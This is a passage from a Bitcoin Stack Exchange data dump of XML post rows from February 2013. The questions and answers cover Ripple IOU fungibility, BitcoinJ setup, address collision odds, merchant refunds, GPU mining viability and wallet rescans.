  <row Id="7714" PostTypeId="1" CreationDate="2013-02-16T11:00:32.840" Score="7" ViewCount="1217" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If you hold an IOU from a gateway for $1,000, there's a good chance&#xA;  you'll be able to pay that to nearly anyone at very close to face&#xA;  value. If you have an IOU from some random guy for $1,000, you may not&#xA;  be able to find any payment path to people you want to pay and no&#xA;  payment path to a gateway if you want to cash out.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Isnt that a huge flaw in the system? That the one $1,000 can has less value than the other $1,000, based on who the debtor is. The whole power of Bitcoin is that all coins have equal value, and to preserve that philosophy they will never allow tainted-coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with Ripple it looks like my wallet can show $1000, but based on the 'taint' its real value can be as low as $50. &lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="5406" LastEditDate="2015-11-07T15:15:58.773" LastActivityDate="2015-11-07T15:15:58.773" Title="Are Ripple IOUs fungible?" Tags="|ripple|iou|fungibility|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7715" PostTypeId="2" ParentId="7714" CreationDate="2013-02-16T11:47:40.507" Score="9" Body="&lt;p&gt;That's just reality. IOUs will be valued differently depending on who you got them from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably value $100 in cash higher than the fact that your friend Joe owes you $100. You can use the cash right away while you have to wait for Joe to pay you back &lt;em&gt;or&lt;/em&gt; you could transfer that debt to some common friend of you and Joe's (a friend who is fine with Joe owing him $100).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now compare it to having $100 in a bank account at your local bank (i.e your local bank owes you $100). You'll probably value that a bit higher than having Joe owe you $100 since it is easier to instantly transfer it to your friends that have accounts at the same bank.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2013-02-16T11:47:40.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7716" PostTypeId="2" ParentId="7707" CreationDate="2013-02-16T12:51:58.517" Score="1" Body="&lt;p&gt;Only their XRP holdings, bitcoin holdings, devcoin holdings, namecoin holdings, barbequecoin holdings, ixcoin holdings etcetera etcetera etcetera come equipped naturally with public ledgers, so until the fiats come up with believable reliable public ledgers of their own full transparency seems likely to initially tend to be limited to XRP and the various blockchain-based currencies...&lt;/p&gt;&#xA;" OwnerUserId="2935" LastEditorUserId="196" LastEditDate="2013-02-16T15:02:48.983" LastActivityDate="2013-02-16T15:02:48.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7717" PostTypeId="2" ParentId="7706" CreationDate="2013-02-16T13:04:01.567" Score="1" Body="&lt;p&gt;Currently currencies are limited to three-character codenames, so although this can be done and will work it will probably be useful to establish some convention(s) that will help people to not get too confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example your examples seem to amount, in general, to &quot;store credits&quot;, like airmiles or giftcards in a way. Thus it might be better to use a code for them that is different from the national cash they might happen to be useable on par with &quot;at the store&quot;. So maybe instead of having lots of &quot;different&quot; IOUs labelled as USD most of which are not really someone owing an actual USD but, rather, someone owing in store credit, in other words goods or services, whose retail price happens to be in USD, it might be good to use USC or USX or whatever, the three letter code conventions only use two for the nation, deliberately leaving one for distinguishing between variants (such as day old dollars or tomorrow dollars or some such strangeness I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general though, ripple docs already say that it is okay for a gateway to refuse to cash out people who are not actual members of that gateway, so that gateways can insist on knowing the customer and having anti money laundering data about that customer and so on. So we are told up front already that gateways are not under any obligation to actually make good on their IOUs to just any Tom Dick and Harry. Since that is already said, why not take it a step farther and say &quot;oh yes I am a gateway, but only to people who buy my merchandise, and only up to the actual amount, per such person, that person spends at that moment on my merchandise&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just think that would be a heading toward being kind of sleazy as compared to right up front setting your IOUs as not being USD but store credits, so people don't end up confusing them with actual fiat debt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-MarkM-&lt;/p&gt;&#xA;" OwnerUserId="2935" LastActivityDate="2013-02-16T13:04:01.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7718" PostTypeId="2" ParentId="7711" CreationDate="2013-02-16T13:06:38.893" Score="6" Body="&lt;p&gt;Meet him at a public place and do the exchange using a phone bitcoin-app and cash. Make sure that his reputation is worth more than a possible robbery/scam.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2013-02-16T13:06:38.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7719" PostTypeId="2" ParentId="7711" CreationDate="2013-02-16T13:24:13.110" Score="-1" Body="&lt;p&gt;LocalBitcoins use escrow, so you will be safe.&lt;/p&gt;&#xA;" OwnerUserId="2937" LastEditorUserId="105" LastEditDate="2013-02-16T18:59:46.513" LastActivityDate="2013-02-16T18:59:46.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7720" PostTypeId="2" ParentId="7714" CreationDate="2013-02-16T15:16:02.047" Score="6" Body="&lt;p&gt;You're definitely right that tainted coins would be bad for Bitcoin. For something to be useful as a medium of exchange, you really want it to be fungible. If something costs $35, that price is useful because there's nothing special about any particular bill or coin and you can form that $35 however you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since not all IOUs in the same currency are fungible in Ripple, Ripple needs a mechanism to keep the IOUs useful for payment. It does this by allowing each user to specify what issuers they trust and using robust pathfinding to make payments possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mechanism would be needed in Ripple even if all IOUs in the same currency &lt;em&gt;were&lt;/em&gt; fungible. Ripple supports cross-currency payments, so it has to find payment paths in case someone who holds only dollars wants to pay someone 50 Euros.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So IOUs not being fungible across issuers is no more a problem for Ripple than IOUs not being fungible across currencies. So long as everyone trusts at least one major gateway and there are paths between all combinations of major gateways, payments will be possible. And Ripple has a few features to try to encourage this end result. So this problem doesn't really affect Ripple's utility as a payment system, and that's how Ripple is being promoted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this still leaves two areas of potential problems. One is using Ripple as a store of value when issuers may change in reliability. The other is reporting a useful balance when your asset portfolio may include IOUs of different value even if denominated in the same currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first problem is just the nature of the system. If you choose to trust an unreliable issuer, you may wind up with worthless IOUs. The very risk averse could respond by not using Ripple as a store of value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We hope to get at least one regulated financial institution, preferably insured by a major government, to be a Ripple gateway. Ripple gateways hold funds denominated in ordinary fiat currencies, all of which they owe to others. This is analogous enough to what banks do that there's a good chance this can be accomplished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem is mostly a user-interface issue. Since Ripple is open source -- the client code is already available -- people are free to try different ways of resolving this. One method that has been discussed is listing assets separately (and not in the raw total) if you dropped the credit limit to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you don't trust an issuer, you drop their credit limit to zero. This will cause you to start shedding their IOUs automatically as people use you as a payment path and you can't acquire any new IOUs from them. The client could show IOUs from issuers with zero credit limits separately and not include them in the total.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-16T15:16:02.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7721" PostTypeId="1" CreationDate="2013-02-16T19:04:48.590" Score="3" ViewCount="261" Body="&lt;p&gt;I am currently working on a cloud based project that will be accepting payments using bitcoins.&#xA;I intend to use BitCoinJ to handle the payment. Unfortunately the only help I am able to get is from the JavaWorld demo, which seems to be out of sync with the current code. Could you please point me to some better/updated helping links/material.&lt;/p&gt;&#xA;" OwnerUserId="2940" LastEditorUserId="196" LastEditDate="2013-02-17T12:30:03.837" LastActivityDate="2023-09-04T17:12:05.173" Title="BitCoinJ for Cloud based application" Tags="|bitcoinj|java|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7722" PostTypeId="1" CreationDate="2013-02-16T19:10:18.640" Score="6" ViewCount="681" Body="&lt;p&gt;I am using BitcoinJ for my java application which fetches the test network's genesis block. I referred to the basics mentioned at JavaWorld and BitcoinJ's Google Code wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to get it running but there seems to be an error while waiting for the node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I receive the following output :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[main] INFO com.google.bitcoin.core.BlockChain - chain head is at height 0:&#xA;v1 block: &#xA;   previous block: 0000000000000000000000000000000000000000000000000000000000000000&#xA;   merkle root: 4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&#xA;   time: [1296688602] Thu Feb 03 04:46:42 IST 2011&#xA;   difficulty target (nBits): 487063544&#xA;   nonce: 384568319&#xA;&#xA;[New I/O boss #9] INFO com.google.bitcoin.core.Peer - com.google.bitcoin.core.Peer$PeerHandler@fe64b9 - Connection refused: no further information&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I am working from a NAT network, can this be a point of connection failure? &lt;/p&gt;&#xA;" OwnerUserId="2940" LastEditorUserId="5406" LastEditDate="2019-08-20T16:22:23.797" LastActivityDate="2023-05-01T23:02:05.217" Title="Test Network Genesis Block" Tags="|network|testnet|bitcoinj|java|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7723" PostTypeId="2" ParentId="7721" CreationDate="2013-02-16T19:18:14.153" Score="1" Body="&lt;p&gt;There are some examples in the bitcoinj library itself which are always up to date (as they are part of the build). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command line tool 'WalletTool' that Mike wrote is pretty useful for the basics of wallet creation, sending, receiving etc. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-02-16T19:18:14.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7724" PostTypeId="1" AcceptedAnswerId="7732" CreationDate="2013-02-16T20:23:36.250" Score="69" ViewCount="74136" Body="&lt;p&gt;Here's a what-if scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Person A has a Bitcoin address with 25BTC.&#xA;Person B opens up their Bitcoin client:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;which may or may not have the complete blockchain (the latter would&#xA;mean no copies of Person A's transactions)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Person B presses &quot;New Address&quot;, and Person A's address happens to somehow be generated. Now, the blockchain finishes synchronizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens? Is this a possibilty, sans the astonishing improbability? After all, random number generation can be influenced.&lt;/p&gt;&#xA;" OwnerUserId="2915" LastEditorUserId="121614" LastEditDate="2023-08-10T11:38:58.447" LastActivityDate="2023-08-10T11:38:58.447" Title="What happens if your bitcoin client generates an address identical to another person's?" Tags="|address|address-generation|key-collision|" AnswerCount="5" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7726" PostTypeId="1" AcceptedAnswerId="7727" CreationDate="2013-02-16T20:59:34.943" Score="1" ViewCount="606" Body="&lt;p&gt;We are setting up some merchant functions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a customer sends too many coins in a transfer for an order &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you send the change back to address you received the coins from .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e&#xA;1) Order 1234 12.5 BTC Merchant Recieve Address (1234abc) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Customer Sends 12.6 BTC to Merchant Address (1234abc) from his Address (4567def)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Merchant detects overpayment And sends the 0.1 btc back to customers (4567def) Address as change &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this work in that the customer will get his change ??&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="2306" LastEditDate="2013-02-17T06:34:35.623" LastActivityDate="2013-02-17T06:34:35.623" Title="Can you Send Coins back from a Receive Address?" Tags="|transactions|payment|merchants|" AnswerCount="1" CommentCount="2" ClosedDate="2013-02-19T09:07:04.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="7727" PostTypeId="2" ParentId="7726" CreationDate="2013-02-16T21:03:34.963" Score="5" Body="&lt;p&gt;This is not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer uses a fully controlled wallet he will get the coins, but will be confused about their source because the address would carry the label of some other provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer is using a shared eWallet, he might not get the coins at all because the address isn't his.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-16T21:03:34.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7728" PostTypeId="1" CreationDate="2013-02-16T21:23:31.367" Score="-2" ViewCount="1348" Body="&lt;p&gt;Just learned about BitCoin. As I learned now there is no sense using CPU, just GPU. I have ASUS X1650 256 MiB, is it sufficient to ear at list 1-2 BitCoin a week?&lt;/p&gt;&#xA;" OwnerUserId="2942" LastEditorUserId="5406" LastEditDate="2016-04-28T14:25:58.890" LastActivityDate="2016-04-28T14:25:58.890" Title="ASUS X1650 256 MiB - is it sufficient?" Tags="|mining-profitability|mining-hardware|hashpower|" AnswerCount="2" CommentCount="2" ClosedDate="2013-02-18T00:28:37.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="7729" PostTypeId="2" ParentId="7728" CreationDate="2013-02-16T21:52:28.537" Score="1" Body="&lt;p&gt;To be honest, no. I have a 5770 and I get 200MH/s; not really worth it unless you look at it as a hobby and don't want big returns.&lt;/p&gt;&#xA;" OwnerUserId="2943" LastEditorUserId="2306" LastEditDate="2013-02-17T00:39:31.120" LastActivityDate="2013-02-17T00:39:31.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7730" PostTypeId="2" ParentId="7714" CreationDate="2013-02-16T22:10:47.360" Score="1" Body="&lt;p&gt;All existing conventional securities (currencies, stocks, bonds, debt-based &quot;fiat&quot; cash, etc) that have &lt;em&gt;any&lt;/em&gt; counter party risk are &quot;tainted&quot; by the issuer (Apple, The Fed, BOJ, etc), Bitcoin, gold, silver, etc are not tainted because they have no issuing counter party (i.e. they represent nobody else's liability).  As I understand it, Ripple is primary a system for exchanging IOUs denominated in various other &quot;units&quot;, it helps facilitate transactions that would &lt;em&gt;not&lt;/em&gt; otherwise take place because they don't require an intermediate &quot;trusted&quot; asset between the trading parties, but are conducted instead in self-issued credit.  So in a sense everything in Ripple (except XRPs) is &quot;tainted&quot; by design, but that's OK as long as most of the time most of the transaction circuits are closed and eventually extinguished.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-02-16T22:10:47.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7731" PostTypeId="1" CreationDate="2013-02-16T23:46:36.497" Score="1" ViewCount="8197" Body="&lt;p&gt;I made a backup of my Qt wallet. The blockchain never got completely downloaded and i was sent a bitcoin that i never saw in my wallet as the downloading of the blockchain never caught up with the transaction. I placed this backup file into another Qt wallet that was fully up to date with the blockchain, thinking that i would see the bitcoin but I only see my bitcoin address. &#xA;Can anyone please tell me how this is?&lt;/p&gt;&#xA;" OwnerUserId="2944" LastActivityDate="2013-02-17T03:55:25.613" Title="cant see bitcoin after restore of backup" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ClosedDate="2013-03-19T21:00:53.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="7732" PostTypeId="2" ParentId="7724" CreationDate="2013-02-16T23:55:29.667" Score="40" Body="&lt;p&gt;If this happens, then Person B will be able to spend person A's bitcoins. However, there are only two ways this can happen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Person B generates the same keypair (private key) as person A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or b) Person B generates a different keypair, which (public key) hashes to person A's address (a hash collision)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the specification for at bitcoin address: &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Bitcoin address is a 160-bit hash of the public portion of a&#xA;  public/private ECDSA keypair&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For &quot;a&quot; to happen, person B would need to break &quot;secp256k1&quot;.&#xA;I am no expert on this field, but from what I can find on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=92423.msg1048511#msg1048511&quot;&gt;bitcointalk.org&lt;/a&gt;, then the &quot;strength&quot; of this is 2^128 bits. And if you're wondering how strong that is, then look for the video &quot;Exhaustive search attacks&quot; from &lt;a href=&quot;https://www.coursera.org/course/crypto&quot;&gt;Dan Boneh&lt;/a&gt;. 11 minutes in the video he says &quot;&lt;em&gt;anything that's bigger than 2^90 is considered sufficiently secure&lt;/em&gt;&quot; (its about attacking 3DES, which is a symmetric block cipher so I'm not sure it actually apply to secp256k1, but I really have no better argument for why 2^128 is &quot;&lt;em&gt;so secure that you won't never, ever, ever generate the same key as someone else&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for &quot;b&quot; to happen, you would need to find a collision on RIPEMD-160(SHA-256(pk)). As far as I know, then neither RIPEMD-160 nor SHA-256 is known to have any vulnerabilities to hash collision attacks. So somehow breaking both or randomly generation a key which hashes is exactly the same as another bitcoin address, is highly unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a chance for you computer to catch on fire, and some of the materials to melt together into a lotto coupon with winning numbers on (and a valid barcode), but it just won't happen because of the chance is so unbelievably small (it's the same with the &quot;&lt;em&gt;click and generate another persons bitcoin address&lt;/em&gt;&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT Woops, one important thing: This all assumes that all bitcoin addresses are properly generated using &quot;true random&quot;. All &lt;em&gt;brain-addresses&lt;/em&gt; and addresses generated using a bad PRG, might be easy to find by either using a flaw in the PRG or exploit the (flaws in the) human brain.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastEditorUserId="12625" LastEditDate="2014-01-24T07:27:19.983" LastActivityDate="2014-01-24T07:27:19.983" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7733" PostTypeId="2" ParentId="7724" CreationDate="2013-02-17T02:22:18.083" Score="-5" Body="&lt;p&gt;Funny how people claiming to know about crypto can't calculate probabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address space of 2&lt;sup&gt;128&lt;/sup&gt; is not the probability or &quot;strength&quot; of anything (other than the probability of picking a value in the address space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The probability of 2 people having the same bitcoin address is actually a lot higher than people may suspect by (faulty) intuition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the likelihood of collision is related to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Birthday_problem&quot; rel=&quot;nofollow&quot;&gt;Birthday Problem&lt;/a&gt; (read about it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the number of people and addresses generated increases, likelihood of a collision increases close to exponentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given a few million users each generating a new address per month, the likelihood of a collision is such that it could occur several times in a lifetime, especially as we're dealing with hashes (or hashes of hashes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make it a billion users and you have regular stories of collisions appearing.&lt;/p&gt;&#xA;" OwnerUserId="2937" LastEditorUserId="3274" LastEditDate="2013-03-19T07:09:14.630" LastActivityDate="2013-03-19T07:09:14.630" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7734" PostTypeId="2" ParentId="7731" CreationDate="2013-02-17T03:55:25.613" Score="2" Body="&lt;p&gt;Try running bitcoin-qt with the -rescan argument.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-17T03:55:25.613" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7736" PostTypeId="2" ParentId="7728" CreationDate="2013-02-17T05:58:50.217" Score="0" Body="&lt;p&gt;No. That card is WAYYYYYYYY too old. It wasn't good when it was new, and this isn't 2007 anymore. Doesn't have the technical specs required. period. No chance at all to make ANY money. not even 1 cent. Even with a proper video card, i am only making 8 cents a day after power costs (about 1.87 revenue and 1.79 in power costs). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go here for the profitability calculator. &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as far as Hash rate (MHash/s) goes, remove 60,000 and put in 1 because 1 is all that card is going to get and that is a long shot.&lt;/p&gt;&#xA;" OwnerUserId="2948" LastActivityDate="2013-02-17T05:58:50.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7740" PostTypeId="2" ParentId="7555" CreationDate="2013-02-17T12:36:51.820" Score="0" Body="&lt;p&gt;I am clueless as well but I think that it requires a consensus of people on the network for this to function properly through one accepted BTC address. When we create our own orders no one else can see it unless you are in their trust circle or ripple neighbourhood. So we would have to all use your posted address to trade in BTC. Maybe MtGox sets up a ripple wallet inside the ripple network then we would all flock to their address and use it as a trusted source for the exchange. I could be totally wrong but that is how I poorly understand it. Someone with more technical know how can explain it better I am sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/wiki/Distributed_exchange#How_does_the_distributed_exchange_work.3F&quot; rel=&quot;nofollow&quot;&gt;Ripple FAQ - Limited Description of Distribute Exchange&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2954" LastEditorUserId="2954" LastEditDate="2013-02-17T12:43:17.240" LastActivityDate="2013-02-17T12:43:17.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7741" PostTypeId="2" ParentId="7555" CreationDate="2013-02-17T14:17:36.857" Score="-2" Body="&lt;p&gt;Yes it seems you find the offers by being specific about the currency, specific as in who issues it. For example the WeExchange gateway deals in bitcoins, USD, CAD and Australian money so those are the most well known currencies so far probably. So you'd put their bitcoin-denominated account's number as issuer for bitcoins to see offers to deal in their bitcoin IOUs, their USD denominated account's number as issuer of USD to find offers to trade their USD IOUs and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know why they use a separate account for each type of currency, I am so far using one test account for all currencies, it is rpVft3wic2fZ2saY5BjEtL8R2NPrubxWG5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I run the Digitalis Open Transactions server I already have issued a lot of assets there, and am looking to issue a bunch on Ripple too. But I cannot do many offers yet until I get more ripples as most of my ripples got spent on testing the trading system to learn this much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have quite a bit of Devcoin (DVC) and Groupcoin (GRP), less (twenty thousand or less) I0coin (IOC, as Ripple currencies are alpha only not alphanumeric) and Ixcoin (IXC), very few Namecoin (NMC) and Coiledcoin (CLC). Other &quot;altcoins&quot; I have too few so far to get into market-making with them. I also have a slowly growing number of BBQcoins (BBQ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you should be able to type in pairs like BTC/DVC, if issuer of the BTC is not shown was weex then change issuer to weex; for DVC likely it will default to your own account as issuer, or if you already trust someone for DVC then their account; change issuer to my account shown above and if I have managed to place any DVC/BTC offers, or if anyone else makes any offers involving my DVC IOUs, you should see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO far because the client only shows five decimals of price I only have an offer to sell DVC for 0.00002 BTC each, which is way higher even thatn the 200 or so satoshis they used to go for a couple of weeks ago. We need more decimals in the client to display reasonable &quot;bitcoins per devcoin&quot; prices.&lt;/p&gt;&#xA;" OwnerUserId="2935" LastActivityDate="2013-02-17T14:17:36.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7743" PostTypeId="2" ParentId="5720" CreationDate="2013-02-17T15:57:59.020" Score="0" Body="&lt;p&gt;So you are basically asking whether the debug.log file mentions (records) move operations in general regardless of whether they involve transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so you can probably answer better than I by searching your debug.log file, as I have never actually done any move operations so would not expect to find any mentioned in my debug.log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debug.log would be where I would look them up if they are being logged though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see any obvious logging calls in the movecmd routine the RPC call calls, which is in rpcwallet.cpp so it doesn't look as if it does make a log entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it does make a debit entry call and a credit entry call to the wallet, so the wallet should know about the move unless for soem weird reason it is deliberately forgetting about moves that do not cause actual transactions. These entries include the comment you put in the RPC call so it does not seem right to forget them since having the user put in a comment and not remembering their comment seems kind of pointless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would take more digging to check if maybe its something like &quot;if there is no comment nor any actual transaction forget about it&quot; but if so maybe always including a comment might help make sure a record is kept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess only someone intimate with that part of the code knows the full nitty gritty details of how it decides what to remember. Maybe only the GUI actually gives you access to these accounting records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your term &quot;logged&quot; maybe threw me off course as it looks like maybe it is recorded in the accounting system in the wallet but not &quot;logged&quot; in the actual debug.log file.&lt;/p&gt;&#xA;" OwnerUserId="2935" LastEditorUserId="2935" LastEditDate="2013-02-17T16:17:06.963" LastActivityDate="2013-02-17T16:17:06.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7744" PostTypeId="1" AcceptedAnswerId="7748" CreationDate="2013-02-17T16:36:55.980" Score="4" ViewCount="441" Body="&lt;p&gt;I am trying to understand the block hashing algorithm used to generate block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the points mentioned &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it is (nearly) impossible for two people to have the same Merkle root because the first transaction in your block is a generation &quot;sent&quot; to one of your unique Bitcoin addresses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do I specify my unique address? Does it depend on what kind of miner I use and whether I mine in a pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what is &quot;generation&quot; and how is it different from other transactions that include transfers of bitcoins? What other transactions are included in the Merkle root?&lt;/p&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2013-02-18T00:23:15.697" Title="What are the transactions included in the merkle root" Tags="|transactions|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7745" PostTypeId="1" CreationDate="2013-02-17T17:02:32.930" Score="1" ViewCount="174" Body="&lt;p&gt;I've finally managed to figure out bitcoin, it's fantastic, now I have a goal of buying some coins while they're still affordable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please provide some advice for a fellow hoarder.&#xA;Just keeping all the sum in one wallet on a home PC is dangerous - what are the best ways to spread the storage? Physical bitcoins? Can you print one on paper (QR perhaps) and stash it somewhere? When keeping wallet on a removable media (e.g. flash drive), how many copies should I make? Should I even bother?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's your favourite approach to keeping bitcoins you're not planning to spend right now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hints on the general strategy - how much to buy, how often, when to sell - are welcome too. Currently I plan to buy a few coins I can afford without noticing - a dinner worth of coins per month perhaps?&lt;/p&gt;&#xA;" OwnerUserId="2955" LastActivityDate="2013-02-17T17:02:32.930" Title="Suggestions for hoarding strategy and technics" Tags="|coldstorage|storage|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7746" PostTypeId="2" ParentId="5720" CreationDate="2013-02-17T17:55:35.813" Score="2" Body="&lt;p&gt;Yes, all move operations add an accounting entry to the wallet. If &lt;code&gt;listtransactions&lt;/code&gt; doesn't show the move, this is most likely to be a problem with &lt;code&gt;listtransactions&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-02-17T17:55:35.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7748" PostTypeId="2" ParentId="7744" CreationDate="2013-02-17T17:59:29.423" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I specify my unique address? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't need to. Bitcoin will add the coinbase transaction automatically.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does it depend on what kind of miner I use &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and whether I mine in a pool?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, because then the pool gives you a block header to mine, which includes &lt;em&gt;their&lt;/em&gt; coinbase transaction. If you put in your own coinbase header, then the pool will reject your shares.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also what is &quot;generation&quot; and how is it different from other transactions that include transfers of bitcoins? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just like a normal transaction, it specifies how the money can be 